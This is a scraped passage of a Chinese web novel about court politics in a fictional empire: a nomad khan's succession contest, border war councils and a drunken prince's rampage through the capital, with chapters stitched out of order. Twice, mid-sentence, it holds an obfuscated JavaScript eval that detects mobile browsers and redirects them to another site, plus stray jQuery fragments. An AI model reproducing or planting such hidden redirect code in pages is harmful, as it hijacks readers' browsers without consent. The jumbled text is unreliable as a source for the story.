基于以上原因,大衍边关的驻守将士面对时不时来犯的离渊骑兵都是被动防守。若能够将人留下最好,若是留不下也少有去追击的。因为一旦越过了边关防线,大衍就基本丧失了主场优势,而论对草原地形的了解,有谁能够比得过离渊人。到时迷路不说,还容易陷入离渊骑兵的提前设好的陷阱之中。此类事件过去也不是没有发生过的。 奏报上言及“却敌三十里”,也就是说,定安王此次与离渊作战,将人打跑了还不算完,更是亲自带兵去追击,他受箭伤也是在追击敌人之后,所以是十有八九是遭到敌人的埋伏了。若非最后将敌军尽数歼灭,取得了全胜,这个事情就换得一个性质了,百里洪少说也要担一个“轻敌冒进”的罪名。 定安国最靠北的郡与离渊毗邻,不仅如此,边境线还很长。往年离渊的人跑过来劫掠,定安国这边也是他们喜欢跑来撒野的地方之一。定安王就封之后,凡遇离渊突袭多是亲自领兵迎击,过往也有过越境追击的,他的勇武之名也是由此得来的。 百里漾知道定安王是想凭借战功去争夺太子之位,所以他需要为自己积攒战功,如今大衍能够出军功的地方也就是与离渊对战了。可离渊人不是日日都来的,即便来了也不是那般容易就能将人变成斩获和战功的,而且将人赶跑与尽数歼灭所获得的战功也有很大的区别。定安王每一次遇敌都勇悍不惧不假,但他想要战功也是真的。 但百里漾还是觉得有些奇怪,“只是一小股来试探的离渊骑兵罢了,情况尚不明晰,冒然追击,谁知前方有什么在等着。” 这才夏日离渊就跑来劫掠了,也不曾听闻草原上遭灾,离渊也未到粮食紧缺、日子难过的时候,怎么想都知道不正常。定安王又不是蠢人,与眼前的这点战功相比自然是自己的安危与将士的周全更为重要些,怎么不应该去追击的。故而百里漾在知道这事的时候颇有些意外以及不可思议。 百里澄看了一眼想不明白的弟弟,语气有些飘然不在意,更像是一语道破真相,“还能因为什么,此次回湛京受了许多挫折,想从别的地方找补回来罢了。” 这是“越挫越勇”了啊。 百里漾一想这也能解释得通。 定安王就封多年再回湛京应当是抱有许多目的来的,其中最重要的当是想知道皇帝对他的态度以此来看看自己当太子有几分胜算,结果估计是令他大为失望。可定安王不是轻言放弃的人,此时不行不代表以后不成。皇帝不属意他,那他就努力做出更多的成绩让皇帝改变主意来选择他。 换一个角度也可以说定安王是受到了“刺激”,因此让他变得急切,急切地想要证明自己。不过这次中箭也能让他冷静下来了。这一次是运气好只伤了臂膀,若是下次没这般好运气,被流矢射中的不是臂膀而是脑袋、脖子这些致命之处呢。 定安王的事情到这里就略过不提了,眼下更为要紧的还是离渊的问题。出了这事,整个朝廷都因此紧张忙碌起来。 离渊如此反常,大衍这边总要摸清楚他们在搞什么幺蛾子。好在自高皇帝即位之初五千骑兵追击离渊入草原后险些全军覆没之后,大衍对离渊一直抱有警惕防范之心,不仅加强了边关防线,还不断地往草原之中输送探子。没过几日,从草原上传来的密报被送至皇帝的御案之上。皇帝即刻召集朝中重臣等前来商议,太子、江都王百里漾也赫然在列。 事情搞清楚了。离渊这次来侵袭不是为了抢夺粮食等物资的。近几年草原上的雨水丰沛,更不曾遭受严寒、干旱等天灾,疯长的牧草将牛羊马皆养得肥壮,离渊人并不缺少粮食衣物。既不是为粮食衣物而来的,那么事情就走向了一个大家都不是很愿意看到的局面上。 密报传回的是有关离渊最上层贵族的消息,内容也不多,主要是说乞罗扎汗病重,离渊内部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|14868002|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次掀起继承人之争以及这几次的离渊侵袭之事是乞罗扎汗底下的两个儿子搞出来的。 百里漾听了这个消息神情一凛,脸色不由凝重。周围之人也多与他一般神色。 离渊那边如今的情况是老汗王病重,新汗王即将上位。 但这里面卡着一个问题,那就是乞罗扎汗迄今为止并没有定下自己的继承人。他的儿子和侄子太多,背后又大多有母族势力支持,但凡立哪个其他人都不会服。乞罗扎汗年盛强势之时此事还可以拖延下去,压着下面不使生乱。可人始终是在一日日老去的,百兽之王也有老去咬不住猎物的一日。他快要死了,可他的继承人是谁的问题一直得不到解决。 可以预见的是,不管乞罗扎汗死后谁继任新汗王之位,离渊内部少不了要发生内乱。而新汗王继位之后,为了树立自己的权威、稳固自己的地位,他十有八九会选择如同当年的乞罗扎汗一样挥兵向南,届时大衍边境必然又要起战事。 这种未来走向其实大衍这边未必没有预料过,从高皇帝到如今的皇帝都在厉兵秣马、修齐武备候着那一日的到来。有准备是好事,但现在情况有所改变。 现在乞罗扎汗依旧是病重,继承人依旧没有选出来,可他自己提出了一个如何确定继承人的方案,那就是“谁功劳最大谁就是下一任汗王”。 可如何才能算是功劳最大? 以往获取功劳可以是征伐其他部落、抢夺他们的牛羊、女人,也可以是讨伐反叛不臣服的部族,这样的功绩是最大的。可离渊再次立国之后,草原上所有的部族都臣服了,大家都是离渊国的人,哪里还有什么征伐、讨伐之事。也就是说,现在乞罗扎汗的那些儿子和侄子们想要立功就只剩下了一个途径——南下。当年的乞罗扎汗走的也是这条路,而且他走的很成功,彻底确立了他大汗王的威信,无人不服,无人有异议,一直到今日。 也就是说,大衍与离渊的战事要提前了。本来原先预计是在新汗王继位之后,大衍这边想着老迈病重的乞罗扎汗少说多少都会拖上一两年才死,没想到反倒因为他死之前要选继承人而导致战事提前来到了。显然,之前边境的几处侵扰突袭就是那些候选人在试探了。 “打就打,真当怕他们不成。乞罗扎的那些崽子们敢来就让把他们的脑袋通通都拧下来。” 大衍立朝才二十来年,多数臣子是经历过前朝末年那十几年战乱的,血性尤在,又记着高皇帝当年追击离渊人入草原遭埋伏险些全军覆没的耻辱,想着一雪前耻,更没有一个是怯战的。 可两国交战不是小事,如今的大衍也刚从战乱后的苍痍恢复过来,天下承平未久,百姓们刚过上安稳的日子,若是再起战事总归是不好的,而且打仗除开调兵遣将还要考虑军费的问题,辎重粮饷都要花钱,国库也才富裕没几年。 不少臣子觉得这战事若是能够晚上一两年就好了。 53. 第 53 章 一两年之后,国库里的金银铜钱也该堆得满地都是了,将士们也养得强壮、训练有素,兵刃强韧坚锐,骑兵也训练好了,再打离渊也比现在省事省力多了,保管叫离渊人有来无回。 人遇事都喜欢往好处去想,但发展和结果往往不如人意,这就是了。可事情既已出了,当下要紧的是如何应对。调兵遣将、辎重粮草调拨,边防守军如何调派扽等等,这些都是要经过深思熟虑的问题。 在场熟知兵事、身经百战的人并不少,皇帝亦是其中佼佼者。这些都实打实的大佬,百里漾在这一群人之中就显得太过稚嫩了。他没有领兵打仗的经验,许多事情更是一知半解,也说不出比他们更高明有用的计谋与策略,故而他在这场议事之中更多的保持了沉默。 且这场议事对于他来说是一个极好的学习机会,这个机会很十分难得,因此他从头到尾都全神贯注地去听他们说的话,看他们考虑问题着重的点是什么、有何顾虑,大家争执的点又在哪里,这些人各自的坚持都是从什么角度出发的?这里面有太多的东西可以供百里漾学习和思考的了。 这场议事从辰时开始持续了一整个白日,期间皇帝令人送了吃食进来,大家吃完了再继续,在太阳落山之前才讨论出了一点章程出来。最后皇帝看众人皆显出了疲累之色,便开口结束了今日的议事,让他们赶在宫门落匙之前离开皇宫回家了。 百里漾也要回自己的江都王宅,分别时太子说道:“出了这事,你心里要有所准备。江都也与离渊接壤,那边不可有失。” 太子这话说的是两件事,一是告诉百里漾他返回江都的时间八成要提前了;二是提点他要务必要守住江都对离渊的防线。 这些百里漾都明白的,后者不必说他也清楚事情的重要性,而前者……他清楚皇后、太子他们的谋划,若是可以,他们是希望能让皇帝答应将他留在湛京不回江都的。可这事不能够直接提出来,至少现在不行。 之前因着刺杀之事让他因祸得福得以比其他的诸侯王在湛京多留上两个月。两个月的时间,他们可以做的事情很多,兴许能够磨得皇帝应允。可现在离渊的事情一出,江都那边又不容有失,百里漾作为江都王必然要回去坐镇的。若是战事紧急,甚至他与颜漪成婚之后都等不及王妃三日回门就得立即赶回江都。 可这是很无奈的事情,谁叫计划永远都赶不上变化。不过这算是最差的结果,事情也未必真的会发展到那一步。 乞罗扎汗想通过让子侄们攻打大衍争夺功绩的方式来挑选继承人,这就注定了这些候选人之间是相互竞争的关系,谁都不愿意见到对方好,谁又都想压其他人一头。他们在争夺功绩的同时必然要想法设法阻止其他人立功,基本上不可能进行真正的联合。 心不齐,离渊即使来犯,战力也必然是会被削弱了。这对大衍来说无疑是一件好事。 况且以如今大衍的情形来看,即便离渊真的来犯了,也不必过多担心。高皇帝刚立朝那会儿天下的局势确实还不够稳当,民生凋敝,国家上下整体都不富裕,内忧不少,外患也一直存在。可在经历了高皇帝以及皇帝至今为止二十来年的治理发展之后,如今的衍潮正开始呈现出一副欣欣向荣的繁荣景象,君臣上下一心,民生逐渐恢复,武备修齐,三军威武,这些都是底气。正如议事之时武将们的豪勇之言,离渊敢来,打回去便是。 百里漾回到江都王宅之后,何光宴已令人为他准备了热水、膳食。此时已经过了往常用晚膳的时辰,王宅中人并不知他何时会回来,他也顾不及令人传话回来,做好的膳食只能隔一段时间便热一遍,热水更是时时刻刻备着。 百里漾用完晚膳再去沐浴,感觉舒服许多,躺到床榻上时还想着琢磨一下白日议事时听到的言论,结果身体挨到床榻上没过多久困意就袭来,眼皮子打架撑不过就睡过去了。 离渊的事情只是显出了一些苗头,朝廷这边更多的是为了可能即将到来的战事做准备,现在更多的动作是令边境军将加紧防范,一面密切关注离渊的情况。说来也奇怪,离渊前面发动几次突袭侵扰皆被守军打得溃逃之后,大衍这边以为他们接下来还会有所动作,可等了半个月,对面却悄无声息了。总不能是对着大衍这块肥肉啃了一口后发现硌牙不想啃了吧? “他们再敢来,定当叫他们有来无回。”崔栋说道。 他作为崔大将军之子,哪怕不能如同百里漾一般参与议事知晓离渊之事,可崔预在回府之后也会将儿子叫来与他说道一些。他亦是武官,随百里漾就封江都这些年亦曾到过江都的边境巡视,只不过未有机会与离渊人真正对上打过。 “你小心一些啊。这是马球棍,不是你手中的刀剑。”身边的卢氏没好气地锤了崔栋一下。她身上的衣裙因为崔栋说话时以马球棍为刀狠劈的一下溅上了一片泥点,这是她从马球场下来才去换的新衣,这下可好了,又得去换一回了。 崔栋也知道自己做错事了,赶紧向妻子卢氏讨饶。客人在跟前,卢氏也不好再说崔栋什么,只是歉意说“暂且失陪”,随后便下去换衣服了。崔栋也说自己要去换身衣服,在百里漾、百里澄姐弟俩的目视之下追着卢氏去了。 百里漾瞧着崔栋夫妻两人一前一后的身影不由失笑,“他们如今这样,舅母可算是能放下心了。” 崔栋这货没成亲之前对婚事不情愿的态度让崔预夫妇一直颇为头疼,可他们又不能由着他这样一直不成家。好不容易敲定儿媳的人选了,虽然崔预嘴上说着敢不成亲就敲断他的腿,但内心也是怕他真的撂挑子不干的。等崔栋成婚了,夫妇俩高兴之余又免不了担心小夫妻相处不睦,他们还是盼着儿子生活美满的。 这下好了,眼看着崔栋成婚之后不仅适应良好,还一副乐在其中的模样,崔预夫妇也能将心放回肚子里去了。 百里漾到目前为止看过几次崔栋与卢氏的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|14872261|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相处,虽然有些打打闹闹的,但两人都没有生气,这也不失为一种他们自己的小情趣。 他们此时正在大将军府置在城外的一处园子之中。不久前崔栋成亲,本意是想在婚后三日宴请亲朋好友来聚一聚,给大家展示一下两人婚后的幸福美满生活的,但因为离渊突然来进犯给打乱了计划。最近这段时日瞧着局势有所和缓,天气也好,崔栋与卢氏便下帖子邀请关系亲近之人前来此处玩耍。 往年崔预夫妇与崔若偶尔会来这园子小住或者散心,有时也用作宴客之所。这园子很大,里面有庭院、有一小片山林、有湖,前年大将军特地令人在此处又新建了一座马球场供前来游玩的人打马球用。 百里漾过来时就被崔栋拉去打了一场酣畅淋漓的马球赛,对面夫妻二人齐心,他这边没有帮手,毫无意外地输了。之后他去换了一身衣服过来,与长姐百里澄对坐饮茶。 闲着无事,姐弟俩便说起最近离渊闹出的事情。 百里澄虽然也不得亲身参与朝堂议事,可她辅佐太子多年,早已是东宫的左膀右臂,太子有事习惯与她商量,如同以往这次的离渊之事他也会尽数告知。可以说她虽身不在朝堂,亦能对朝中大事了如指掌。 “乞罗扎既已放出话来,为着汗王之位,那些人就必定会再来。” 百里澄的话其实与那日议事上皇帝及一些重臣持的意见相同,草原那边的离渊已经崛起,因为乞罗扎汗在前朝哀帝末年时南下致使草原各部皆尝到了巨大的甜头,从那时起他们便开始觊觎南边这块广袤且肥沃的土地了。这些年离渊人不是不想来,而是一直没有找到合适的机会以及完全下定决心调动军队南下,偶尔的几次劫掠也是小打小闹。 其实从高皇帝当年追击离渊入草原开始就注定了大衍与离渊之间必有一战,不过是时间的早晚不同罢了。即便这次不来,等到新汗王继位后,为了确立威信也还是会来的。草原上只崇敬强者,新汗王继位若想坐稳,需要一场大胜才行。 百里漾也深知此理,强敌在侧且蠢蠢欲动,他们如今需要做的是养兵攒粮,把士兵养得更加强壮,操练得更加勇猛,兵器擦亮磨利,甲胄造得厚实坚韧,等离渊人一来就把他们打得落花流水,叫他们有来无回。 “届时江都边境防线亦是他们意图要突破的一处,你得看紧着些。”百里澄说道。 “阿姐,我省得的。”百里漾知道轻重,颔首道。 “那时说不得你要亲上战场。战场之上兵器不长眼睛,万事多几个心眼总是没有错的。” 百里漾再次应下。 战事若起,江都边境是离渊南下进入大衍的一处屏障,离渊要突破这层屏障必然会聚集重兵,真打起来十有八九是一场硬仗。百里漾作为江都王少不了亲自要上阵杀敌鼓舞士气,而从个人来说,百里氏的儿郎女郎们就没有怯懦不前的。 话说到这,正好崔栋和卢氏夫妻俩也回来了。 24-30 第24章 诸侯王抵京 那时正是泰始年间, 高/皇帝建元没几年,新朝初立,有功之人皆有获封。颜定山此前在太子百里纵(如今的皇帝)麾下立下了大把的功劳, 直接爵封超品侯,端是显赫。相反顾氏就落魄多了,族人仕前朝者大多在乱战中被杀,顾氏祖籍地也曾被乱兵抢戮,加之新朝初立时眼色和觉悟不够, 又被高/皇帝下手收拾了一回, 已然元气大伤。那时的顾氏不过是空有世家望族之名, 实则端是落魄。 偏偏这时突然传来颜家要与顾氏子结亲,许嫁的还是颜定山这位赫赫显贵的功臣胞妹, 怎么看都是“门不当户不对”。况且那时高/皇帝力图打击世族,偏两家又结亲, 着实令人难以理解。 百里洪略想片刻便抛开了。王国相明白主上的心思,大王是想拉拢朝中大臣, 收拢一波能为他所用的人才。只是这个顾晟开身上到底贴了定国公府的标签…… “不说这个, 东宫那边探查的如何了?”百里洪沉声问道, 眼里波光幽沉。当下要紧的还是东宫那边,太子若是活着登基了,那么他做的一切还有什么意义。 “还是不行?”王国相的神色俨然回答了他的问题。 王国相也不由叹气,东宫守得如同铁桶一般,后宫椒房仍在,执掌凤印,纵使大王之母周贵妃在后宫颇有势力也难以施为。他们此前拘于封国之中,如今大王几年了方才得回京城一趟,若想施为, 哪有那般容易的。 “罢了。”百里洪揉了揉两侧穴窍,颇是心烦意乱。今日他去与人赴宴,为显示良好的形象与风范,拉拢官员,席间不免多饮了酒,这时发作起来,头昏脑胀的。 王国相见状劝了一句“大王务必保重身体”便退下了。他离开后,百里洪端坐着等下人熬醒酒汤呈上来,免不了想起今日宴中一些人的对他的轻忽,重重一拳擂在桌面上,吓得一众仆婢纷纷跪地。 百里洪的脸上满是阴鸷,总有一日他要让那些没有眼见、不识真龙的蠢货知道“后悔莫及”是怎么写出来的。 岁贡在即,各地诸侯王俱皆提前入京朝拜天子。有些封地路途遥远的,少不得要在路上多花费功夫,但总有抵达的一日。 至五月中旬前,大衍所有的诸侯王都抵达了湛京。其中距离最远的当属淄川国与长夏国,但淄川王百里横在五月初七抵达,长夏王百里涌也在五月上旬末抵达了京城。 至此,大衍如今总共五位诸侯王皆齐聚在京城了。 连着迎接了五位诸侯王,不是皇帝的亲儿子就是亲兄弟,一个个都有权有势坐拥一国,鸿胪寺的官员们不敢有丝毫轻慢。既如此,那么一丝一毫之处都要做好了,这持续了快两个月的连轴转可把他们累得够呛的。可后面还有岁贡的大事,虽然主力不是他们了,但他们也得搭把手,好在可以趁着这小段时间歇一歇,争取能养回些精神来应对后面的事。 与前头的哥哥弟弟/侄子一般,后面进京的山阳王、长夏王以及淄川王仆一入湛京,头件事便是沐浴焚香进宫拜见皇帝去了。 皇帝儿子不算多,兄弟更是唯有一个,数年不见,乍见之下必然感慨良多,有不少话要说,叙一叙父子亲情或手足之情。在这一点上,儿子辈的待遇差不多,父子叙话后该去看望生母的就去看望生母,否则就出宫回府。淄川王是皇帝亲弟弟,还是一母同胞的那种,一起经历过前朝哀帝末年的那段艰难岁月,感情自是深厚。两人不觉间聊到深夜,见天色已晚,皇帝便让他留宿在自己宫中了,兄弟俩还是抵足而眠。 之后便是拜见椒房与东宫。崔皇后是嫡母/长嫂,更是一国之母,按礼他们也都去拜见了。东宫病弱,做弟弟的不敢多做缠扰,也没有那么多的感情基础,依例送去了厚礼,许多名贵药材夹杂在其中,在礼单上也尽量做到了不显眼。 太子可以不与这些弟弟们多做表面功夫的耗费时间,但淄川王是皇叔,是长辈,往日待他也多有关切,不好拒之门外。 “你这身子怎还是这般弱?说不得是太医署的那帮太医没本事,庸医误人。”淄川王说话直白且无甚顾忌,横眉冷脸的,配着几乎占据了下半张脸的整一圈浓密的虬髯,面相颇是凶厉可怕。至少小阿荧看着这位皇叔祖就有点怕怕的,小身子躲在父亲身后只露出个小脑袋偷偷看他。 太子摸了摸阿荧头上细密的额发,笑中带着些苦涩,“多谢皇叔关心,太医们已然尽力,许是天命不可违罢。” “怎的如此悲观?”淄川王满满的不赞同,“你是我们百里家的嫡长孙,将来更是要肩负天下大任的,自当提气振作。身子慢慢养总会好的,太医署的太医不中用,天下之大必有能医,待二叔为你去寻访来必能使你身体康健。” “谢二叔为我劳心。”他真心诚意,太子便谢道。 这个话题因其过于敏感其实不太好当面说太多的,淄川王因为是皇叔且皇位于他已经有些遥远了,他才能说出这么一番话而不至于令人多想。 话题需要转移,淄川王转眼便看向了躲在太子身后的小家伙,乐道:“这是阿荧罢,快过来给叔爷爷看看。” 阿荧对着这位热情过头的皇叔祖难免有些心怯,不过天家的教养让她稳住了,听从父亲的话出来与淄川王见礼,软软糯糯道:“阿荧拜见皇叔祖。” 淄川王比皇帝小六岁,现年也有四十了,早在几年前就做了祖父,最小的孙子跟阿荧一般大。如今一见小阿荧着实可爱,笑眯眯地将阿荧抱起放在膝盖上相当有耐心地哄着。 他从袖口里摸出了一枚玉蝉,一寸长短,质地莹润,雕工精细,送给阿荧玩的。小孩子还是很好哄的,阿荧虽小却能明确感知对方是否是善意,又有太子的默许,久了也没这么害怕这位一脸凶相的皇叔祖了。 东宫病弱,淄川王也不好久留,小坐片刻便离开了。太子牵着阿荧的小手,站在殿门前目送淄川王离开,眼里光波微转,却是一片沉色。 “阿爹。” “嗯?”耳边传来女儿软软的唤声,太子低头看去,阿荧软胖的小手正抓着那枚玉蝉把玩。他笑了笑,摸摸女儿的头,牵着她转身回了殿内。 诸侯王回京,皇帝的兄弟儿子们一下子都聚齐了,想到这几年骨肉分散,皇帝决意在宫中举行一次盛大的家宴。天家骨肉凡在京者皆来赴宴,时间便定在后日。 “老四与老六也回京了,这月余怕是有的热闹了。”江都王宅后院的花园里,百里澄纤长莹白的指间把玩着一条金镶玉结的朱红剑穗,口中说道。 旁边的石桌上还摆着一柄长剑,配饰以金,剑格以紫铜,周身配以兽纹,见之不凡。这是百里漾在江都时以重金求来的宝剑,出自大家之手,真正的削铁如泥。如今被百里漾拿来赠送给长姐。百里澄见之十分喜欢,当下拔剑,拿一块山石试了剑,一剑劈下,山石两分,断口处光滑平整,剑身却丝毫无损。 “五年未见,也不知道四兄与六弟是否变了模样?”百里漾想着不久前长夏王与山阳王赴京时的情形,看着荷塘里冒出尖尖角的绿荷,不由低声道。 皇帝第四子百里涌,兴业七年封长夏王,封国在靠近大衍东北一带,距离湛京路途颇为遥远。他的生母不显,只是后宫中的一位嫔御,在生育皇子之前更不起眼,几乎没有人想得起她,去年更是病逝了。而第六子百里汤,生母郑妃,兴业十年封山阳王,封国则还要更远一些。 虽说是同父异母的兄弟,可自小百里漾与他们并不是十分亲近,后来一个接一个地封王就国,往来更是稀疏,人情交际也很表面。百里漾不熟知他们内里的变化,不知他们是否变得如同定安王百里洪一般,一样的志向远大。 “老四在封国很不像样子,整日以饮酒取乐,经常喝得醉醺醺的,大半夜不睡觉跑到旷处脱衣服拔足狂奔。封国的事务大多时候也是不搭理的,甚至任由爱妾父兄把持,整出了一堆的乱摊子。”百里澄手指轻轻捏住了一白玉瓷海棠杯,轻飘飘说完后轻抿了一口。 在百里漾有些瞠目之下,她又说道:“老六倒是没什么特别的爱好,喜好诗书,无事时便跑到学馆听人讲课,封国之内也颇为正常。” 百里漾微囧,好在他这些兄弟也不完全是什么过于奇葩的存在。不过酒后果奔什么的,那个画面想都不敢想啊。不过,他也反应过来了,长姐看似轻描淡写的话,实则却是透露了,那几个兄弟们这几年的动向,湛京,至少东宫这边是在一直监视探听着的。只从目前看来,长夏王与山阳王那边没什么情况,就老三上蹿下跳的不太安分。 “但他们怎么想、怎么做的不重要。”百里澄忽然拔剑出鞘,雪亮的剑身映出了她眉眼含锋,只听她语意深重说道,“最要紧的是阿爹怎么想、怎么做的。其余人一旦有苗头,就要手快刀疾,将苗头彻底斩断。” 话落,那柄剑在她手中旋转出漂亮却肃杀的剑花,雪亮的剑身在空中划起漂亮的弧度,随后,立斩而下。“咔嚓”的声音又细又快,近前的一张圆木凳瞬间一分为二。 第25章 纵马祸事 百里漾眨了眨眼睛, 凝重的神情有些滞缓,眼睛再次瞪大了些,这圆木凳在继山石之后成为了长姐剑下的第二个亡魂。造成的结果就是, 他后院的假山秃了一块,这一组的凳子也少了一张。 前脚才与长姐提到了长夏王和山阳王,当日午后百里漾便碰上了其中一位——长夏王百里涌。这厮大白日在大街上纵马,一路掀翻东西无数,惊得路人惊慌不已, 东躲西藏, 唯恐被殃及。看到百姓如此慌乱失措, 马上之人速度根本不减,一路驰骋过去, 却在街头拐角处差点撞上一辆正驶来的齐头二驾的平顶马车。 人家本来走的好好的,拐个弯就遭遇了这般骇人又突如其来的惊险事。真的是好险就撞上了, 但马却是受了惊。幸好车夫训练有素,临危不乱, 勉力压制住了受惊的马, 才避免了更糟糕的情况出现, 但马车内的人也受了好一阵颠簸。 马声嘶鸣,长夏王用力拉紧缰绳勒马,马蹄高高扬起。周围因这变故一阵兵荒马乱,大人慌叫,小儿啼哭。眼看着如此乱糟糟的景象,长夏王端坐高头大马上,丝毫不慌反而哈哈大笑起来。 嚣张,真的是太嚣张了。 天子脚下,虽也偶有纨绔子弟如此放肆行事的, 但还没有见过这样嚣张放肆的。自有人看不惯,哪怕见此人锦衣华服,必定出身不凡,也上前厉声质问了。 “王法?天家都是我家的,你也配来与我提王法。”长夏王似是嚣张妄为惯了,懒懒地掀开眼皮,如俯视臭虫蝼蚁,见人还不依不饶,竟从马背囊中抽出一柄剑,对着人的脑袋重重击打过去。 那位义士没想到这纨绔子弟不仅行恶还要行凶,躲闪不及眼看着就要脑袋开花。忽然耳边传来一阵由远及近的急促马蹄声,而后便头顶上便传来一声“铿锵”有力的碰撞声。 预想中的疼痛并没有出现,义士倏然睁大了眼睛。只见在他的脑袋上方两柄剑交击相持,下方的剑稳稳架着上面的凶剑,也是这样才让他避免了头破血流的惨剧。 有人及时出手救了他。 “四哥,你要做什么?”百里漾冷眼看着长夏王,发现这厮的状态不太对。面有酡红,醉眼惺忪,发髻歪斜,衣冠都有些不整,散开的领口让里面的肌肤都露出来了些,离得近了还能闻到一些发散后的酒气。 这厮竟然是酒后纵马! 百里漾想到了之前长姐同他说的关于百里涌酒后放诞的一些事情,没想到百里涌竟能胡为至此,实在可恶。 长夏王打人被阻拦,跟随的扈从这时才自家大急匆匆追上来,见王被人冒犯,忠心护主的急急就要上前呵斥,却在听得来人唤他们大王时“四哥”镇住了,又观此人衣着不凡,要紧的是宝剑乃至马具上还皆饰金,心中顿时有了猜测,于是便不敢动了。 “唔?”长夏王本来恼怒,听到这么一声,这才抬起醉眼仔细辨认来人,面相颇是熟悉,但他自认是没有见过的,想起自己如今身在湛京,脑子顿时清楚了,稍稍犹疑后恍然大悟道,“你是五弟?这许多年未见,你这模样变得我都有些认不出来了。” “误会误会。”长夏王似乎酒醒了,收回击打人的剑,扔给旁边的扈从。再看周边乱糟糟的,拍着脑门神色颇为懊恼,“为兄一时轻狂,让五弟见笑了。”说罢转头又吩咐扈从收拾场面。而这些扈从的做法也很简单粗暴,直接洒下一把银钱当作了结。 看他这副轻描淡写甚至浑不在意的模样以及扈从洒钱的熟练和高傲,百里漾心中厌恶,面上却未曾表露,只皱眉道:“街市纵马本就不该。四哥身为陛下之子,又为封国之主,理当作一表率。” 长夏王不悦,竖眉冷脸道:“几年不见,五弟真是长进了,竟然为了一些贱民教训起兄长来了。” “四哥有错,我又如何说不得。”百里漾亦冷下脸,他可不会惧了百里涌。 “老五,你今日是非要同我过不去了?”大庭广众之下,被一堆人看着,百里漾又非要不依不饶。长夏王气得脸红脖子粗,酒气一股脑涌到脑子里,怒火更盛,食指一伸直挺挺地指着百里漾大骂,“你是什么东西?不过是侥幸从椒房肚子里头爬出来,神气什么,本王倒是要看看你能神气多久。” “大王!”长夏王突然指着百里漾一顿开骂,话里还很不客气地言及椒房国母,多有不敬,骇得扈从脸色大变,急忙呼喊,恨不得亲身上去捂住长夏王的嘴巴,根本来不及。 百里漾大怒,抓了剑横劈过去狠狠一击直将马背上的长夏王拍下来往地上滚。扈从都要吓死了,忙飞扑过去以身作垫护主。 长夏王只觉后背一痛瞬间就天旋地转了,先是重重砸在扈从做的肉垫上,又往前滚落在地,顿时一阵眼冒金星。 “你家大王酒后失仪,当街纵马,大庭广众之下被人看着,着实不像样子。”百里漾骑在马上,眸光冰冷,“还不速速带他回去。” 扈从慑于百里漾的威势,不敢多言,连忙去扶长夏王起身要带他离开这里。长夏王这时摔得又有些清醒了,可他这些年哪里受过这样的气,尤不服气,更觉得面子扫地,要挣脱扈从冲上来,却被用力拉住了。 扈从都快哭了,极力劝他,“大王,大王,这是在湛京,是天子脚下。”不是在咱们长夏国啊。 长夏王的理智被“天子”两个字震到总算回到了正轨,见百里漾“杀气腾腾”,想起了自己之前做了什么蠢事,又说了什么蠢话,心里也很慌,干脆头一歪装晕,被扈从拖扶着带离了此地。 祸乱的源头走了,丢下剩下一地的狼藉。百里漾翻身下马,跟从的护卫已自发地帮助周围无辜受难的人们,有伤的安排去看大夫,财物受损的给予银钱赔偿。 “学生谢大人救命之恩。”有人行至百里漾跟前一丈,作揖答谢道。正是此前那位挺身而出阻拦长夏王却差点被用剑击打头部的义士。 “足下胆魄过人,敢问姓名?”百里漾觉得此人实在勇气可嘉,明知长夏王身份不凡也敢站出来阻止其作恶,尤其还是在长夏王酒后不甚清醒的状态。那一下若真的击中了,少说也是一个头破血流。 “学生闻夏,目下忝为太学生。”自称“闻夏”的书生身形消瘦,相貌清俊,长衫白袍,甚是朴素,看着气质却十分干净清爽,令人觉得很舒服。 “原来是太学生。”百里漾稍有些意外他的身份,也不怪他想不到。 高/皇帝泰始年间始立太学,但能进入的人大多是高门贵胄之后,寒门学子能进入的都极少,余下的更不必说。他看闻夏年纪不过二十,这般年纪能入太学,学识必然了得,怕是妥妥的学霸级人物。百里漾不由得更对闻夏另眼相看了。 在他们说话的功夫,北司的人来了。此处发生了乱事,自是惊动了人来。来的只是二十人的卫队,领头的是一校尉。这事自然用不着百里漾出面,自有下面的人去周旋。 “此事已了,余下的便不干足下之事了。”百里漾说道。他是要将闻夏从中摘出去,最大程度地减轻闻夏在其中的存在感。 长夏王酒后纵马,在一些人中其实算不得什么大事,这一点长夏王自己也知道,所以行事,便没太多的顾忌。但现在因为百里漾的出手干预,事情便有些闹大了。长夏王事后若想起来这么个人来,迁怒于他,吃亏的也只会是闻夏。毕竟一个没什么倚仗的太学生,在这偌大的湛京里还真不算什么。 闻夏也知道这个道理,再次谢过后便离开了这里。 “姑娘,前面道路疏通开了,可要离开?”不远处的二驾马车上,车夫低声询问道。 “走吧,别让母亲等急了。”车帘子放下,接着传出一道清丽婉转的女声。 车夫甩动套马的缰绳,马车启动继续行进。朴实无华的马车低调且不起眼,只有其上刻着的“颜”字标记昭示了它的所属——定国公府。方才长夏王差点撞上的就是这辆马车。 有诸侯王在此,北司的动作利落了很多。他们也不敢多问,只负责眼前将街道恢复秩序,其余的不是他们能够管的。这种事情不是他们能够掺和进去的。 这条街在湛京中尚算繁华,第二日便有御史弹劾,参“长夏王百里涌醉酒纵马,伤扰无辜,言行无状,冲撞尊长,请陛下惩之”。不仅如此,长夏王此前在封国早有此劣迹,御史也曾就此多次弹劾,百里涌因此也受过皇帝下诏申饬。这些事现在又重新被提了出来,皇帝的脸色很不好看。 